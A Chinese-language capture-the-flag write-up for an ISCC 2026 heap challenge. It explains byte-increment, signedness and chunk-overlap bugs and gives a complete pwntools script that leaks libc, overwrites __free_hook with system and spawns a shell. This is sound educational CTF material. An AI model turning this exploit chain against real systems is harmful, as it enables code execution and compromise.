ISCC 2026 pwn WP

1. 基本信息

file attachment-35
# ELF 64-bit PIE
checksec:
# Arch: amd64
# RELRO: Full RELRO
# Canary: enabled
# NX: enabled
# PIE: enabled
libc: glibc 2.31

保护全开,不能改 GOT,主要走堆利用。

2. 结构体还原

程序维护一个全局学生数组:

student *list[7];
int cnt;
int role; // 0 teacher, 1 student

外层结构:

struct student {
    struct info *info;   // +0x00
    void *mode;          // +0x10
    int is_lazy;         // +0x18
    int used_reward;     // +0x1c
};

内层结构:

struct info {
    int question_num;    // +0x00
    int score;           // +0x04
    char *review;        // +0x08
    int review_size;     // +0x10
};

add student

student = calloc(1, 0x20);
info = calloc(1, 0x18);
student->info = info;

3. 关键漏洞

漏洞 1:奖励逻辑给任意地址单字节 +1

check review 里:

if (score > 89 && !used_reward) {
    printf("Good Job! Here is your reward! %p", student);
    read addr;
    *(char *)addr += 1;
    used_reward = 1;
}

也就是:

任意地址 1 byte += 1

同时它会泄露当前 student 的堆地址。


漏洞 2:score 可以变成负数,绕过 score > 89

正常分数最大是 89,看似不能触发 reward。

give score 中:

score = rand_byte % (question_num * 10);

if (student->is_lazy == 1) {
    score -= 10;
}

如果先把 is_lazy 设为 1,分数会变成 -10 ~ -1

后面判断使用的是无符号比较:

cmp eax, 0x59
jbe no_reward

负数在 unsigned 下非常大,因此可以触发 reward。

利用流程:

add student
change role -> student
set mode / lazy
change role -> teacher
give score
check review

漏洞 3:通过单字节 +1 扩大 chunk size,制造堆重叠

评论大小最大 0x3ff

申请 0x3e0 的 review:

review = calloc(1, 0x3e0);

实际 chunk size 是:

0x3f0

size 字段:

0x3f1

如果用 reward 把 size 字段第二个字节加一:

0x03 -> 0x04

chunk size 就从:

0x3f0 -> 0x4f0

之后 free 这个 review,就能得到一个伪造的大 unsorted chunk,覆盖后面 student 的结构体。


4. 利用思路

整体流程:

1. add student 0
2. 给 student 0 写 review,size = 0x3e0
3. add student 1,使 student 1 紧跟在 review0 后面
4. 让 student 0 分数为负数,触发 reward
5. 用 reward 把 review0 chunk size 从 0x3f0 改成 0x4f0
6. delete student 0,释放伪造大 chunk,进入 unsorted bin
7. add student 2,并申请 0x3ff 的 review
8. 该 review 会从 unsorted chunk 切出来,覆盖 student 1 的结构体
9. 伪造 student 1 的 info,实现任意读 / 任意写
10. 泄露 libc
11. 写 __free_hook = system
12. free("/bin/sh")

5. libc 泄露

伪造大 chunk 被重新分配后,剩余部分仍在 unsorted bin。

unsorted bin 的 fd / bk 指向:

main_arena + 0x60

glibc 2.31 中常用:

libc_base = leak - 0x1ecbe0

6. getshell 脚本

39.96.193.120:10016

from pwn import *

context.arch = "amd64"

elf = ELF("./attachment-35")
libc = ELF("./attachment-35.so")

p = process(
    ["./attachment-35"],
    env={"LD_PRELOAD": "./attachment-35.so"}
)

def sla(x, y):
    p.sendlineafter(x, y)

def sa(x, y):
    p.sendafter(x, y)

def menu(x):
    sla(b"choice>>", str(x).encode())

def add(q=1):
    menu(1)
    sla(b"enter the number of questions:", str(q).encode())

def test():
    menu(2)

def review(idx, size=None, data=b""):
    menu(3)
    sla(b"which one? >", str(idx).encode())
    if size is not None:
        sla(b"please input the size of comment:", str(size).encode())
    sa(b"enter your comment:", data)

def delete(idx):
    menu(4)
    sla(b"which student id to choose?", str(idx).encode())

def change_role(r):
    menu(5)
    sla(b"role: <0.teacher/1.student>:", str(r).encode())

def student_menu(x):
    menu(x)

def change_id(idx):
    student_menu(6)
    sla(b"which student id to choose?", str(idx).encode())

def set_lazy():
    student_menu(4)

def check_review():
    student_menu(2)

def make_negative_score(idx):
    change_role(1)
    change_id(idx)
    set_lazy()
    change_role(0)
    test()

# -------------------------
# 1. 初始化堆布局
# -------------------------

sla(b"role: <0.teacher/1.student>:", b"0")

add(1)                  # student 0
review(0, 0x3e0, b"A")  # review0, chunk size 0x3f0

add(1)                  # student 1,位于 review0 后方

# -------------------------
# 2. 触发 reward,泄露 heap
# -------------------------

make_negative_score(0)

change_role(1)
change_id(0)
check_review()

p.recvuntil(b"reward! ")
heap_leak = int(p.recvline().strip(), 16)
log.success(f"student0 = {hex(heap_leak)}")

# review0 data = student0 + 0x50
review0 = heap_leak + 0x50

# review0 chunk size 地址 = review0 - 8
# size = 0x3f1,第二字节在 review0 - 7
size_byte = review0 - 7

sla(b"addr:", str(size_byte).encode())

# -------------------------
# 3. free fake large chunk
# -------------------------

change_role(0)
delete(0)

# -------------------------
# 4. 重新申请,覆盖 student1
# -------------------------

add(1)   # student2,消耗 tcache 中的 student0 / info0

# 当前 student2 的 review 会从 fake unsorted chunk 分配
# review2 起点仍然是 review0
#
# student1 外层结构位于 review0 + 0x3f0
# 在 payload 中覆盖 student1:
#
# student1->info = fake_info
# fake_info->score = -1
# fake_info->review = unsorted remainder bk
# fake_info->review_size = 8

fake_info = review0 + 0x100
student1_off = 0x3f0

unsorted_leak_addr = review0 + 0x410 + 0x10

payload = b""
payload = payload.ljust(0x100, b"\x00")

payload += p32(1)                # question_num
payload += p32(0xffffffff)       # score = -1
payload += p64(unsorted_leak_addr)
payload += p32(8)

payload = payload.ljust(student1_off, b"\x00")
payload += p64(fake_info)        # student1->info
payload += p64(0)
payload += p64(0)
payload += p32(0)
payload += p32(0)

review(2, 0x3ff, payload)

# -------------------------
# 5. 泄露 libc
# -------------------------

change_role(1)
change_id(1)
check_review()

p.recvuntil(b"here is the review:\n")
leak = u64(p.recv(8))
libc_base = leak - 0x1ecbe0

log.success(f"libc leak = {hex(leak)}")
log.success(f"libc base = {hex(libc_base)}")

system = libc_base + libc.sym["system"]
free_hook = libc_base + libc.sym["__free_hook"]

log.success(f"system = {hex(system)}")
log.success(f"__free_hook = {hex(free_hook)}")

# -------------------------
# 6. 任意写 __free_hook = system
# -------------------------

payload = b""
payload = payload.ljust(0x100, b"\x00")

payload += p32(1)
payload += p32(0xffffffff)
payload += p64(free_hook)
payload += p32(8)

payload = payload.ljust(student1_off, b"\x00")
payload += p64(fake_info)

change_role(0)
review(2, None, payload)

change_role(1)
change_id(1)
student_menu(3)        # pray / write through fake review ptr
p.send(p64(system))

# -------------------------
# 7. free("/bin/sh")
# -------------------------

change_role(0)

add(1)
review(3, 0x20, b"/bin/sh\x00")

delete(3)

p.interactive()

附件下载